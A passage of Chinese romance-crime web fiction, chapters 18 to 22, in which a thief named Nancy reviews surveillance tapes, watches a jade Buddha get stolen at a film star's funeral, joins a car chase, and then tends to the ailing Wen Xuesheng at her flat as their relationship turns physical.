南希抿嘴笑:“我好像从来没在学校碰到过你……你真的不需要上课吗?” 温雪生埋头研究监控器,看起来十分认真。 “我爸会定期邀请教授,到温沙城堡给我讲课。” “哦。” 南希眨巴了两下眼。 有钱还真能使鬼推磨。 “那你高考多少分?” “669。还有,这已经是第二个问题。” 南希只听到了669,倒吸了口气。 这个分数都可以去首都上大学了,如果非要留在济东,专业百分百能任选。 “可你不是喜欢文学吗?怎么会学计算机?” 温雪生停下手中动作。 “开了。” “什么?” 温雪生从监控器里取出磁带递给南希:“这个。” 南希再次眨巴眼睛。 两分钟后,Video播放器连接索尼大彩电,将磁带里的录像放了出来。 自南希踏入别墅,到暴力摘取监控器的画面,全都清晰可见。 南希后怕:“小生生,警察把这玩意儿留下就是想守株待兔!还好有你,要不我可真得栽了!” 温雪生直盯屏幕:“别吵,继续看。” 然而,录像带里再也没有画面。 沙沙沙…… 灰白色雪花风暴连续播放了三四分钟。南希按下快进键,心里已经生出不好的预感。 沙沙沙…… 第一盘磁带播放完毕,她接着放下第二盘、第三盘、第四盘…… 结果跟她料想的一样:失望,没有任何线索。 还剩最后一盘,她不想再继续。 “算了,除了我,找不到别的东西的。” 温雪生置若罔闻,继续插入磁带。 电视里仍是不急不慢的白噪音。 这种声音,听多了会让人想睡觉,南希一边按着快放,一边缓慢地闭上了眼睛。 “等等。”温雪生突然出声。 南希又睁开眼,对上他右眼凌厉的目光。 “往后退两分钟!”?! 温雪生神态紧张。南希凭她多年的职业经验,立刻意识到情况有变,松散的心弦顿时紧绷成一条直线。 倒退30s,60s,90s…… 一个彩色画面倏地一晃而过。 温雪生:“就是这个。” 南希聚精会神,再次倒带,反复试了几遍后,终于把时间固定在忽闪的画面上: 那是一个背影。 穿细高跟、身材漂亮的高挑女人反手击灭了监控画面。 她的视线转向温雪生,双唇微张。 “我认识她!” 没错,这个背影她见过,虽然只有一次,却印象深刻。 景天大酒店开业当天,巧妙化解她的捉弄,成功避免热汤洒王有才一身的——美人服务生! 哔—哔哔—哔— 刘总来电。 南希心里乱,随意摸出手机:“喂,我现在有事,明早回给你。” “等等,别挂,先别挂!”电话里面,刘总大嗓门急呼,“什么事都不如我要跟你说的这件事重要!王有才的追悼会定了,明天,不,已经是今天了,今天上午九点,济东殡仪馆!”他喘了口气,“我找人打听了,追悼会结束后,王有才平时珍藏的几样宝贝都要跟他一起火化!” 南希蹙起眉头。 白玉佛…… “就这么急?” 刘总:“是啊!谁知道那些人脑子是不是被驴踢了!我得到消息后马上就找你了,现在还不算太晚,我给你弄点应急的装备,一个半小时后咱们老地方碰头!” “可是——” 南希叹了口气。可是,生活不能只有工作。 眼睛瞟向温雪生,她说:“——一个半小时……恐怕不行。” “那你要多久?” 她看表:一点五十。 “四点半。” “也行,四点半就四点半。好在这个追悼会虽然弄得急,却是公开的,你装作王有才的影迷混进去就成。” “好。” 南希挂断电话,然后轻盈转身,坐到了温雪生腿上。 手臂弯曲搂住他瞬时僵硬的脖子,“唉,小生生,你应该都听着了,我赶时间。所以,你今天得快点。” 温雪生身体后倾:“你,你什么意思……” 下唇忽地被咬住,渗出一滴血。 南希:“但是,不可以不认真哦~” * 二月十六日。 天灰蒙蒙,有雾。 济东殡仪馆充斥着哭声、交谈声还有和尚念经的嗡嗡声。 王有才毕竟是享誉全国的大明星,哪怕追悼会再仓促,前来悼唁的人也少不了。 影迷们不知打哪儿得来的消息,一大早就守在了殡仪馆门口。 南希九点赶到的时候,差点没挤进去。 周围有太多双眼睛:完全陌生的,电视上见过的,在景天大酒店打过照面的……她提前备好的眼药水无法派不用场,献花圈时,只能垂着眼皮,装作恹恹的: “自从知道这个噩耗,我已经两天没睡了,眼泪都哭干了……” 有影迷听到她的悲伤,扑上去抱着她失声痛哭。南希也失声,睫毛颤抖,任对方的眼泪湿透自己的衣服,就像是丢了魂。 这一哭让她成功混入影迷团,跟十几个姑娘一起挤到大堂中央见王有才最后一面,便也第一次看到了白玉佛: 扁平状,半拳大小,光泽油润。 的确是件宝贝。 宝贝没挂绳,安静地躺在王有才被花圈簇拥的胸膛上,好像只需要伸出一只手,就可以轻松拿到。 可是,人实在太多了。 空气不流通,用瓦斯遮挡人们的视线,容易造成爆炸。 不遮挡视线靠速度盗宝,危险系数又太大。 得考虑其他方案。 南希正琢磨,突然,一句“女士,小心”在耳边响起。紧接着,一只大手闯入视线。 她条件反射,脚下旋转,敏捷躲避,与此同时,眼睛顺着那手看去,打结的眉心竟一下子舒展开来。 “女士,别误会,我是看你再走下去就要撞上我了,提前扶你一下。”对方微笑着说。 南希咽了口唾沫,尴尬回笑:“没事没事,是我反应过了头。那个,你,你是不是那个开运路24号……你不记得我了吗?” 对方愣住,明亮的面孔多了抹疑惑:“我的确住在开运路24号,你是……?” 南希:“元旦夜……光源大厦……” “哦!我想着了。”他疑云消散,又露出笑,“你男朋友怎么样了?” 南希歪嘴。 怎么第一反应是这个? 脑中浮现出温雪生被压在身下,眼神隐忍,嘴巴红肿的虚弱摸样,心情又好了些。 “他很好。这还得谢谢你。对了,我还不知道你的名字。” 对方笑如烈阳:“张笑远。” 第19章 猫鼠游戏 “诶呀,我也姓张,张南希!”南希上前,想握住对方的手 套近乎,“咱几百年前那可是亲戚啊!” 张笑远自然地把手背到身后,礼貌地笑了笑,并没有回应这句无聊的话。 南希收回僵在半道的手,识趣地换了话题。 “啊,上次我说要去报答你,可是过了这么久都还没去,真不好意思……” 她脸颊红红的,像个苹果。 张笑远:“你不知道?你男朋友已经去过我家了,还送了我好多东西,是我该不好意思。” 南希瘪嘴,看来这个话题也聊不下去了。 “你也是王有才的影迷?”张笑远突然问她。 嗯? 南希与他对视。 他的眼睛又明又亮,跟常年有阳光似的,与温雪生阴天湖泊般的眼睛很不一样。 “对对!你也是吗?”她回,声音里藏着万分激动。 她怎么就没想到,王有才的追悼会,最大的话题该是大明星王有才呢! “嗯。”张笑远果然来了兴致,话也多了,“我喜欢看他演的《清末往事》《笑傲武林》《祥云传》,对了,最近的《芳草地》也好看,他虽然都是配角,但表演深刻动人,每一个细微表情都拿捏得特别到位,是那些年轻演员比不了的……可惜,这样精湛的演技,以后再也看不到了……” 南希轻拍他后背,以此表示安慰。 既然这帅哥防备心强,那么她就循序渐进,一点点攻破。 她沉沉地说:“我也喜欢《芳草地》,他演的沉默的父亲,让我哭了好多次……” 其实她并没有闲功夫去看这部连一个美男都没有的电视剧,只是前几天去报亭买烟,不小心扫到了济东日报,扎头巾的老农民王有才占据了头版头条,几个大红字打在他身上:沉默的父亲。 南希低下头,看脚尖。 “虽然我没见过自己的父亲——” 她新买的阿迪板鞋怎么脏了一块? “——但是我总幻想,如果父亲还在这个世上,肯定也是那个样子吧……” 刚刚谁踩她了?没觉着疼呀…… 张笑远动容,眼圈微红。 “我也没见过我的父亲……” 南希抬眼。 这么巧? “抱歉,让你想起伤心事了……” “没事,不过——”张笑远直视南希,眼眸向下,“——王有才在《芳草地》里演的是一个光棍。” “嗯,啊?” 他的声音轻飘飘的。 “并没有孩子。” “额……” 南希尽量让自己的表情显得不是那么惊讶,大脑已经开始想方设法化解眼前的窘境。 可心脏莫名地加速了。 是因为尴尬吗? 殡仪馆里好像起了风,刘海乱了。 她捂住额头,余光中,一个高挑的身形逆人流冲出了殡仪馆…… 这个背影…… 发散的视线在刹那间收回,凝聚到王有才的胸口。 白玉佛依如先前,反着柔光,油润温和。 只是…… 角度不对! 笑面佛像的脑袋向右偏了大概三度! 南希猛然转身。 张笑远没在身边。这个大男人竟然在她眼皮子底下消失了! 什么时候!? 去了哪儿?! 殡仪馆的人实在太多了,她看不到,找不到!处处都没有张笑远的身影! 南希满头大汗。 美人计加偷梁换柱,明摆着冲她来的! 有人特地制造这场陷阱,盗走了真正的白玉佛!! “让开,让开!!!” 南希拨开一个个哭成泪人的影迷,挤出昏暗的殡仪馆大门。 视野变得空旷,如同茫茫大海。 刚刚那像风一样逃走的背影早已淹没在滚滚波浪之中。 南希环视车水马龙的街道。迷茫,天旋地转。 靠,到底该往左追还是往右?! “上车!” 路边,一辆纯黑色奔驰E320紧急刹车,吓得几个路人发出锐利的尖叫。 车停在南希面前,车窗摇下。 主驾玻璃后露出一张狰狞的刀疤脸。 “上车啊!刚才跑出来的人我看着了,带你去追!” 南希犹豫。 她之所以能成为神偷,除了对目标有准确预判,还有一点,她对自己有严厉的要求:哪怕刀架在脖子上也得保持理智。 现在,她不想上车。 一,她害怕李大发。 二,她不相信李大发,谁知道他是不是跟那些人一伙儿的。 豪华轿车已经引来数不清的目光和窃窃私语: “哇,那是奔驰吗?我第一次见!” “好酷哦!” “是接这个女孩的吗?” “她怎么不上车?” …… 坐在奔驰里的李大发嚷起来:“再不上车,想追也追不到了!” 南希留下虚汗,双指夹着一枚硬币抛上天。 硬币迅速下落,然后竖在沥青路上滚动,滚到奔驰车底。 南希的视线跟随硬币,看到奔驰的后车门开了一条缝儿。 一道携着淡淡梅花香的声音从里面飘出。 “上来。” 南希眨眼。 小生生…… 心弦登时松了,她朝周围看热闹的人挥了挥手,“别猜了,不好意思,就是来接我的。”然后优雅地打开了奔驰车门。 “诶呀,你看她神气啥啊?” “坐奔驰当然神气,我坐我也神气!” “她什么身份呀?” …… 发动机震动的嗡鸣盖过了人声,奔驰很快消失在街道尽头。 车上,南希与温雪生挨着坐。 温雪生今天穿貂皮大衣,颇有种豪门大少爷的派头。 南希心情不错,望着车窗外面飞快变化的街景,指尖点着皮座椅,悄悄向一旁挪动,直到碰着一块长长的貂毛袖子,然后像小猫似地钻了进去。 温雪生也看着前方,任对方的指尖触摸自己,只有睫毛在隐隐眨动。 而这一切,李大发全然不知,他忽然张嘴,伸手指向前玻璃:“少爷,追上了!诶,咋还多了个人?您瞅瞅是他们吗?” 南希凑上前,连带着把温雪生一块拽了过去。 视野里出现一辆飞速行驶的摩托车。 驾驶人身材姣好,长发从五彩头盔中飘出,十分酷炫。 她后面坐着位肩宽腰窄的帅哥,穿皮衣,短发。 南希回:“对!就是他们!” 很巧,这俩背影,她都熟悉。 女的是监控录像里那个。 男的是—— “张笑远,李管事,多出来那个就是之前救了少爷的大英雄,张笑远!” 张笑远好像察觉到身后奔驰的追踪,在驾驶人身上敲了两下。 摩托车突然加速,与奔驰拉开了距离。 李大发撇嘴:“大英雄凑啥热闹?!那咱还追吗?” 温雪生与南希异口同声:“追!” “好嘞。”李大发听命,一个甩手挂上五档,时速直飙110,又将距离缩短。 路边行人只觉得两阵冷风擦过,探头瞅时,只捕捉到了两缕残影。 通常来讲,摩托车直线加速比普通汽车要快不少,可它不幸遇到了奔驰,被赶超只是时间问题。 眼看摩托车的去路即要被奔驰截断。 那驾驶人突然一拧车把,摩托车前轮急转,后轮漂移,整个车身横着滑入一条只容单人通行的小巷。 吱—— 事发突然,李大发刹车踩到了底。 在惯性的作用下,南希和温雪生撞向前排座椅。 李大发赶紧回头:“少爷,没事吧?” 温雪生头有些晕,他扶着前坐,斜眼瞥南希。 刚刚的一瞬间,好像有什么东西挡在他的额头上,减缓了撞击的力度,否则,现在可能就不是头晕那么简单了。 “没事,别管我,绕过去拦住他们。” 温雪生再次下令。 然而,这个命令几乎不可能实现。 眼前的那小巷位于两个路口中间,他们想追上摩托车,需要多绕两倍的路,用时还得堪堪与摩托车相同,这无异于登天摘星。 但李大发是火拼场上动刀子流血的主儿,他不懂什么可能与不可能,只管听令干事。 他咬紧牙关回:“是!少爷!抓紧把手!看我不弄死那孙子!” 霎时,仪表盘上,指针转了180度:时速160! 嗡—— 奔驰似光,在行人并不多的城市街道留下了一个n字形光晕。 摩托车因巷子狭窄、障碍繁多而速度下降,当它艰难驶出巷口时,奔驰正嗡鸣而来。 不可能真就变成了可能! 但摩托车两人也不是吃素的。 张笑远当机立断,大喝一声“分头走”,然后紧急跳车,转身又冲回小巷。 剩下的驾驶人提起车头,瞅准路边搭在几个破箱子上的倾斜木板,急转车把,伴着巨大的轰隆声,加速前进。 摩托车就像插上了翅膀,飞向木板,飞上天,飞跃奔驰,稳稳地落在了马路对面,钻进另一条小巷。 嘀! 奔驰发出一声不甘的哀鸣。 李大发大汗淋漓,狠捶方向盘:“少爷!” 怎么办?追哪个?! 南希抢在温雪生前面:“走!追摩托车!” 最先跑出殡仪馆的是那戴头盔的女人,白玉佛是她拿的,刚刚情况紧急,她作为摩托车驾驶人压根没有转移东西的机会。 宝贝一定还在她身上! “好!” 李大发再次踩下油门。 然而,这次,奔驰刚发动就熄了火。 温雪生倒在南希腿上,身体蜷成了一团。 南希抱紧他。 他在抖。 南希:“小生生!你怎么了?!” 第20章 卢氏 “少爷!”李大发下车,拉开后车门。 温雪生惨白的面孔闯入视线。 “妈的!”他给了自己一巴掌,“肯定是刚才紧急刹车弄的!我他妈就不该带少爷出来给你追什么人!” 南希打了个哆嗦。 觉得他就像一头恶兽,仿佛下一秒就会扑过来,把自己啃得只剩骨头。 “李管事,你,你后悔,打自己,还瞅我,这些都是没用的……咱们现在要做的是送大少爷去医院,不是吗?” 她尽力让声音冷静平稳,试图驯化恶兽重返人形。 李大发哼哧两声,受驯似地咽下怒气,回主驾开车。 大概过了二十分钟,奔驰停在了一家私人医院门口。 红十字架,纯白色高楼,楼顶挂着巨型招牌:卢氏综合医院。 南希听过这个名字。 济东的私人医院不少,但顶多是门头诊所的规模,唯有“卢氏”例外。 这家私人医院走高端路线,医院科室齐全,院长留洋博士,资历深厚,全国出名,能在这儿工作的医生也至少得研究生起步,据说连里面的医疗设备都是进口美国最新技术、最新型号的。 南希想起在温沙城堡见过的家庭医生,秃头,穿白大褂。褂上子印着俩红字。 她这才反应过来,那俩字是“卢氏”。 边上,温雪生浅浅地睁开眼,也看到了这俩字。 他喘着粗气扶门框坐直。 “李管事,开车走,我已经好了。” “那也得去医院看看!” 南希和李大发几乎异口同声。 两人对视,至少在这一刻达成了共识:如果温雪生抗拒就医,抬也要把他抬进“卢氏”。 “我不想再说第二遍。”温雪生注视李大发,“现在,开车走。” 这么几个字,就让那令人恐惧的刀疤脸犯了怂。 李大发没好意思再瞅南希,把头转回去,双手扶上了方向盘。 南希看愣了:“李管事?” 没有回应。 “……”她只能转向温雪生,“我说温大少,你都这样了,还不去医院吗?难道……你想死外面赖我头上?” 话说得阴阳怪气。 温雪生怒视南希,一个字没说,推开车门直接下了车。 冷风钻入奔驰,刮得南希打了个喷嚏。 这位大少爷她实在伺候不了。 细想起来,他其实在床上也十分叛逆。 “李管事。”南希抱起双臂,“你都瞧着了,是你家少爷自己下去的,他要是真有啥事,你可不能找我麻烦。” 李大发早就对南希有火,这会儿温雪生不在,一点就炸。 “我他妈还真就要找你!要不是你,少爷怎么会离开城堡到外面受罪?!” 南希委屈,肝颤乳腺疼,觉得就算这李管事再吓人,她也得顶回去。 “听你的意思,是我让你家少爷从城堡里出来的?!” “不是?!” “李管事,做人得凭良心、讲道理,你家少爷倔驴一样,他要是真听我的,现在也不会站那儿!” 南希的目光落在窗外。 路边一个歪脖子秃头树旁,靠着个穿貂的男人。 这画面有些眼熟。 元旦晚上,温雪生好像也这样强行下了车,独自一人跑到大街上打的。 又来…… 同样的事竟然在她面前发生了两次! 南希闷声:“我看,都是他这驴脾气害的。” 李大发回:“咱先别管我家少爷的脾气,他是大少爷,他啥脾气都没毛病。”他一动不动地盯着路边的温雪生,“我不信你不知道,我家少爷几次从城堡里出来,都是为了你的事!” “……” 南希明白道理是讲不下去了,决定转变策略。 她从兜里掏出一包软中华送到李大发手边。 “好好好,都是为了我,也都怪我,行了吧?李管事,咱先消消气成不?” 李大发推开她的烟:“我哪有心情抽这个,你去把少爷给我找回来!” 南希也没指望他会接下自己的东西,她其实就意思意思,是她自己想抽。 她摇下车窗,叼上烟。 “您怎么不去?” “我……”李大发脸绿了。 南希终于心情了好了些,偷笑:“李管事,您不敢去找他,我也不敢呀,贸然去得话,搞不好会把人给逼走的……诶,对了,话说到这儿,我有个事想问问您,我就奇怪了,温大少不是不能出门吗,最近怎么三番五次往外跑?” 李大发一顿:“这我哪知道,这是他们父子之间的事。” 温四爷打平河回来后,到少爷屋里待了一上午,出来后就告诉他,以后少爷去哪儿都得陪着。言外之意,少爷的行动不再受限。 但这事儿,李大发寻思了寻思,选择憋在肚子里。 南希用打火机点了烟。 “您说,是不是因为温大少的脸好了呀?之前,温四爷该不会是嫌儿子丑、给他丢人,才关着他吧?” “瞎说啥!老大最疼少爷!” “是吗?”南希吸烟吐气,“那……为什么温大少都病成这样了,还不敢进这家卢氏医院?我没猜错的话,卢氏的背后是温四爷吧。” 南希话中有话,李大发怔住。 眼前这小妮子不愧是大学生,聪明冷静看事准,竟然都给说中了。 他在老大和少爷之间迂回了这么多年,很多事就算不拿到明面上讲,他也都懂。 少爷不喜欢温沙城堡。 他第一次陪少爷出门时,也第一次在他脸上看到了普通少年才会有的兴奋摸样。 少爷一旦踏进“卢氏”,用不了半小时,他发病的消息就会传到老大耳朵里。到时候,老大还会不会放少爷离开城堡就不好说了。 所以,少爷只能逃。 可李大发依旧嘴硬:“你咋知道少爷不敢的?!” 南希斜眼瞥他。 刀疤脸声音虽大,气势不再。 她又吐了口烟。烟气飘出车窗,在眼前散开,模糊了温雪生孤独的身影。 对,孤独。 南希笑着:“哎呀,李管事,您别往心里去,我随便说说的……我知道您最在意温大少……啊,不对,应该是温四爷。” 李大发:“啥?什么在意这在意那的?在意老大就是在意少爷!” “这样啊……可他们不是两个人吗?李管事,您现在是跟着谁干呀?” “……这是你该问的吗?” 南希:“啊,呵呵呵,不好意思,瞧我这多事的嘴……” 她轻轻拍了下嘴巴,“我就是突然想起个类似的事儿。我以前有个同学,她得了很厉害的病,直到她晕在教室里,我们才知道她病了很久了。有意思的是,她家人也才知道。她一直装作身体健康,从没去过医院,她说自己面对不了,觉得如果不看病,她就还能像个正常人一样上学。那时我懂了‘讳疾忌医’这个词。我想啊,人不愿看大夫,可能有两种情况,一种是自己害怕,另一种是怕别人害怕……” 温雪生这种连四十层高楼都敢跳的狠人,很明显,第一种情况并不是适应于他。 那么,第二种情况。 可这世上,任何事,一旦牵扯到别人,就复杂得多了。 “也不知道温大少是哪一种情况……如果是第二种的话,那么他不想去医院肯定是怕父亲担心……他这样怕,今天的事,您还会告诉温四爷吗?” 南希手中的烟莫名灭了。 她看着李大发,眼睛水灵灵的。 李大发咽了下唾沫。 小妮子弯弯绕绕讲了一大堆,原来是为这儿。 但他答不出。 少爷踏进卢氏,他的病情会被老大知道,不踏进去就不会了吗? “嗯……如果是我的话——”南希继续,“——我会选择帮温大少保守秘密,毕竟他是我的直接老板,失去他的信任,之后的活儿就不好干了嘛。而且,他看起来,真得有点儿可怜……诶,诶诶——”声音突然变重,“那边来了辆面的,我去瞅瞅啥情况,如果温大少非要上车,我和他走,您就别跟来了,小心把他逼急了。” 说完,南希跳下了车。 李大发的视线追着她的身影,追到歪脖子树下:女孩搀扶男孩上了黄面包。 “妈的,刚才该问她要根烟的!” 他比了个抽烟的动作,回头瘫在座椅上,整个人像水泥似的慢慢往下滑,“怪不得……少爷对我的态度,一直不咋好……” * “诶,你俩倒是说个地儿啊,也不能一直往前走呀。”面的司机一边开车,一边侧头瞥后座的小情侣。 南希的手从温雪生额头移到自己额头。 差不多的温度。 没发烧。 她回应司机:“一直往前还不好?这样您能多赚不少啊。” 司机尴尬笑着:“嘿嘿,是是是,可这里已经是郊区了,再跑下去就要出济东了……我心里没底儿……” 南希琢磨了下,正要开口,被温雪生抢先。 “去你家。” “嗯,啊?”南希看温雪生,那只漂亮的右眼蒙上了一层薄雾,她很艰难才瞧出那眼里的光线是对着自己的,“我家?” “嗯。”温雪生点头,话音虚弱,“元旦那晚,你说要带我去你家。” 南希:“哦。” 但那晚是那晚。 他毕竟病了,不去卢氏也得去其他医院看看。 她刚才被堵回去的话就是“人民医院”。 “现在就去吗?” “嗯。”温雪生坚决。 “想好了?” “嗯。” 南希还是犹豫:“这个……” 孤男寡女,男的还生病,什么都做不了…… 温雪生打断她:“不行的话,就别跟着我了。” “……” 靠! 南希觉得自己上辈子欠他的,一咬牙,冲司机说:“胜利街与智汇路交叉口往南,长泽小区。”《 》 20-30 第21章 在家 一到家,温雪生便占了南希的床。 他躺着,头微微抬起一点,手臂青筋突兀,颤抖着握住南希的胳膊。 “我可能要睡会,不会太久,别打120。” 说完他彻底躺平,像是死了。 但死人没有温度,也不会冒汗。 温雪生的身体逐渐变热,不,是变烫,火炉大概都没比他烫多少。 他的额头、鼻尖、喉骨……身上的每一处都溢着豆大的汗珠,呼哧呼哧,好像不会停。 渐渐的,他头发湿了,一条条的打了绺,贴上他绯红的耳珠;衣服也湿了,最里面的衬衣由白色变成透明色,隐约印出他胸骨上薄薄的肌肉。 南希觉得口干舌燥,但她知道这样不对。 温雪生现在是个病人! 五分钟后,她以照顾病人的借口说服自己,把他从外到里,脱了个精光。 然后,她静静地看了一会儿,突然皱紧眉头。 他不会真要死了吧…… 南希忙不迭跑去卫生间,翻出条干净的毛巾,又匆匆回到床上,跪在温雪生身边,一点一点,仔仔细细地为他擦拭汗水。 一遍又一遍,擦到手腕第三次抽筋,毛巾第七次往下滴水,她才肯罢休。 然后,她帮他盖上自己新买的蚕丝被,抱着毛巾和湿漉漉衣服,送给了阳台里的洗衣机。 这些都干完后,她也瘫在了床上。 双眼无神地望着天花板,觉得自己上辈子可能真欠他的。 眼睛就这样,安静地、慢慢地阖上了。 前晚通宵,昨晚通宵,即便白玉佛还没到手,她现在睡一会儿也可以吧,她又不是……铁打……的…… 咚咚咚! 咚咚咚—— 南希一个激灵弹了起来。 什么声音?! 咚咚咚—— 有人敲门?! “小张,小张?你在家吗?” 刘总?! 南希眼睛瞪圆。 我x他大爷!!!! 她猛地下床,挽起衣袖,趿拉着拖鞋,怒气冲冲冲到门口,“嘭”的一声打开大门。 门外还有个防盗门,镂空的。 一个长着肥猪脸、老鼠眼的中年丑男打了哆嗦。 “诶呀,小张,你吓死我了!” “吓你个头!你吵我睡觉了你知道吧?!我好不容易睡个觉!你是不是闲得慌啊!没事来我家干什么?!手机被狗叼走了?!还是老年痴呆不会用了?!什么事不能打电话非得上我家找我啊?!” 刘总懵了。 张着嘴,一个字都发不出。 火气放完,南希稍稍舒坦,抱着手,靠着门,冷眼看他:“说吧,找我啥事儿?” 她见这小胖的脸,从下往上逐渐变红了,明显是刚从滔滔不绝的骂声中反应过来,便在对方开口反击前说:“啥事儿?说不说?不说我关门了。” 不及对方回答。 嘭—— 尖锐的话音伴着关门声一齐落了地。 门外立马传来瓮声瓮气的谩骂: “小张,没数了啊!还大学生呢!有点素质吗!?我他妈为了你的事忙前忙后,容易吗?!还我的手机被狗叼走了,我看是你手机被狗叼走了!给你打了半天电话了都没人接!你说我急不急啊?!我急得都跑你学校去了!你宿舍的玲……” 门开了。 南希蹙着眉头吆喝:“什么?谁让你跑我学校了?!” 刘总:“我找不着你肯定先去你学校,再去你家……” 南希打断:“我家可以,学校不行!” “哦呦,什么叫你家可以?你看你刚才的态度,跟要吃了我似的,我可没觉得到你家能行!”刘总把两只短手叉到啤酒肚上,“要是真行,你现在就把门打开,让我进去!” 南希想起裸睡在床上的温雪生,抿抿嘴。 “不行。” “啥?到底是行还是不行?!” “今天不行,以后行。” “什么行不行的,你给个准话,不行的话我以后不来了!” “你有完没完,都说了今天不行!” “为啥今天不行?!”刘总好像想起什么,火气更盛,“小张,我问你,你屋里是不是藏了小白脸?!今天你宿舍玲玲跟我说……” 南希再次打断:“玲玲?你见着玲玲了?” 刘总:“没错!今天你宿舍玲玲跟我说……” 南希:“不是,你不但去了我学校,还跑了我宿舍!?你一个大老爷们……” “你让我把话说完!”刘总忍无可忍,“今天你宿舍玲玲……” 南希:“你说啊!谁拦着你了?!” 刘总几乎咆哮起来:“今天你宿舍玲玲跟我说……!” 咣挡! 门又被关上了。 南希对着木门吼:“玲玲嘴里肯定没好话,我不想听了!” 刘总倒退一步,单手撑住墙,只觉得一口闷气卡在了喉咙里,上不去,下不来,就差要他的命了。 他抹了把汗,气喘吁吁,一字一顿:“今天,你宿舍,玲玲,跟我说!你是个花!痴!她给我了七八个电话号码,什么强,什么小帅,什么硕硕,让我打给他们,说肯定能找着你!小张啊,我知道你谈男朋友,但不知道你谈了这些啊!跟你说了多少遍,女孩子在社会上得多注意,别让人给占了便宜,我不管你爱不爱听,这话我见你一次就得说一次!我也是这样教育我闺女……” 门再次被打开。 南希站在防档门后,翻了个白眼,声音却平和了不少。 “好了好了,我知道了知道了……” 刘总倒来了劲儿:“什么知道了?你知道什么了!?”他突然探头,眼睛成了球,“诶,还真藏了小白脸啊?你屋里那是谁啊?!怎么看着还没穿衣服?!” 南希往身后一瞥,一个高瘦雪白的身影一闪而过。 她惊讶地眨了眨眼,抬手又要关门。 “没有小白脸,你看错了,我累了要睡觉,你快走吧!” 刘总硬把胖手塞进防盗门栏杆的间隙,艰难地抵住了那被闭上多次的门。 “小张!这事儿你不说清楚我就跟你没完!我不能眼睁睁看你误入歧途!” 南希无奈:“没藏人!我要怎么说清楚?!” 她咬紧后槽牙,使劲掀开刘总的手,强行关门,果断拧下反锁旋钮。 “刘总,回吧!晚些我给你打电话!” 门外还在咆哮,但南希早已兴奋地跑了。 她跑过走廊,跑回房间。 温雪生不在。 她就又要跑,一转身,瞧见了洗手间门口的颀长人影。 光溜溜的少年披着粉红kitty猫棉毯,只是这棉毯不够长,堪堪能挡到他的膝盖。 那一双紧绷细长的小腿和轮廓分明的赤足便露在了外面。 湿漉漉的。 纯欲,太纯欲了! 南希咽口水。 “小生生,你好了?” 这样说着,眼睛却还停在他腿上。 “我的衣服呢?”对方声音极低。 嗯? 南希抬眼,视线顺着他的身体一点点往上: 若隐若现的腰身,突出性感的喉骨,还有,白嫩……阴森的脸…… 她恢复几分神智。 温雪生在生气。 “你怎么醒了?” 第22章 第三次 温雪生直视她,一字不言。 这男人会瞅她、瞟她,但很少直视她。 南希从他黑不见底的瞳仁里,捕捉到三分凄然,还有……七分憎恨? 南希接受不了,噘起嘴巴,伸出胳膊:“小生生,你别这样看我嘛,我会害怕的。” 说着,她摸了过去。 温雪生侧身,避开南希焦急的手。 可南希毕竟是身经百战的神偷,她顺势回头,轻而易举地就扑住了那披着棉毯的后背,然后双手穿过温雪生的小臂,环住他的腰,搂紧,很紧。 kitty棉毯滑落,盖住南希的手。 男人不宽不窄、白皙精瘦的肩背随之而现。 “放开我……”温雪生挣扎,他恨自己的虚弱,用力去拽南希。 南希的脸蛋滑入他深凹的脊沟,感受到一阵微颤。 她不在乎他的反抗,她甚至变态地有些喜欢。 “你还没说,你怎么醒了呢?” “没有人能在刚才那种环境中睡觉。”温雪生仍然没放弃挣扎。 “都怪我,是我吵到你了。” “不要再用这种语气跟我说话!不知道有多少男人听过!” “嗯?” 南希放开了他。 温雪生迅速逃离。 棉毯重新被披上肩膀,遮挡着他裸露的身体。 “七八个电话号码,什么强,什么小帅,什么硕硕!你到底藏了多少小白脸?!” 原来是为这个生气…… 南希觉得心底有什么东西冒了芽,她笑出声:“你吃醋了,小生生?” 说着,她上前一步,两步,含情脉脉,“我藏了多少小白脸,刘总不知道,你会不知道吗?” 温雪生手掌攥成拳头。 三步,四步。 “就是你,只有你。” “别拿我跟他们相提并论!”温雪生几乎咬牙切齿。 可南希并没有提他们,提他们的是某个被醋意蒙蔽的男人,但她仍好脾气地、宠溺地点头:“好——” 五步,六步…… “——都听你的。” 七步八步九步! 像是老鹰抓小鸡。 她忽然加快速度,上身前倾,猛地扎进对方胸膛,抱紧他没有一丝赘肉的腰身。 “我也不允许你拿自己跟他们比。”不知不觉的,她的手指已经钻入棉毯,双唇轻揉着男人外露的锁骨,“你就是你,我的小生生~” 好像给了对方足够的尊重,却不影响他就是无数绿叶中的一片。 今天是这一片,明天也可以是另一片。 玩腻了就下一片。 不比较,都一样。 她像以前那样,舌尖触着温雪生的脖颈蜿蜒向上,而温雪生也像以前那样,放弃反抗闭上了眼睛。 暧昧的气息飘入空气,凝聚成了一个个粉红色的泡泡。 眼看温雪生性感的M型嘴唇就在眼前,南希突然感受到一股向外的力。 等反应过来时,她的胳膊已经被对方攥住,连带着她的上半身,一齐被推到了墙角。 男人的右眼不知什么时候睁开了,射出阴沉的光,像一只鬼。 “你真把我当傻子吗?!” 嗯……嗯? 噼里啪啦…… 粉红色的泡泡在刹那间一齐破裂。 南希叫出声: “啊!” “疼!” “你放开我!” 她眼圈红了。 事情已经超出温雪生的预料,他像是泄了气的皮球,手臂隆起的肌肉顷刻松垮。 “我,我没想弄疼你……” 南希却反握住他的手,一字一顿。 “温雪生,你知道你这个人很别扭,很扫兴吗?是你非要来我家,是你占了我的床,是你不穿衣服出现在我面前的!” 温雪生不敢看她,只觉得有块大石头压住了胸口。 南希的声音和以往太一样,还有,她从没叫过他温雪生。 “刚刚多好的气氛!”南希忽然手下使劲,“全让你这个混蛋给弄没了!你赔我!” 什,什么? 温雪生看过去,可视线仅在南希愤怒的脸上停留了一秒,就开始倾斜。 南希双腿半蹲,一手搂住他的腰,一手抱住他的腿。 这架势,竟像是要把他从地上扛起来! 的确,她是有这个打算。 不过,温雪生虽瘦却高,光骨头架子也比别人沉。 而南希只能归属于敏捷型那一类,想用臂力把一个一米八的成年男性扛上肩,几乎是不可能实现的幻想。 她迅速发现了这一点,随即转变策略,放开温雪生,改为猛推他的胸膛。 温雪生身体弱,被南希连着两次猛攻后,脚下再也稳不住,即便及时扶住了墙,仍然步伐踉跄地倒退起来。 倒着倒着,余光里竟然多了一张粉嫩的木床,一丝凉意由心底生起,霎时蔓延至全身。 他干脆放弃扶墙,双手紧紧攥着身上的Kitty棉毯,就像攥着一张保命符。 然而这只是心理的安慰剂,小腿突然被什么东西别住,他整个身体彻底失去平衡,倒在了身后铺着光滑蚕丝被的大床上。 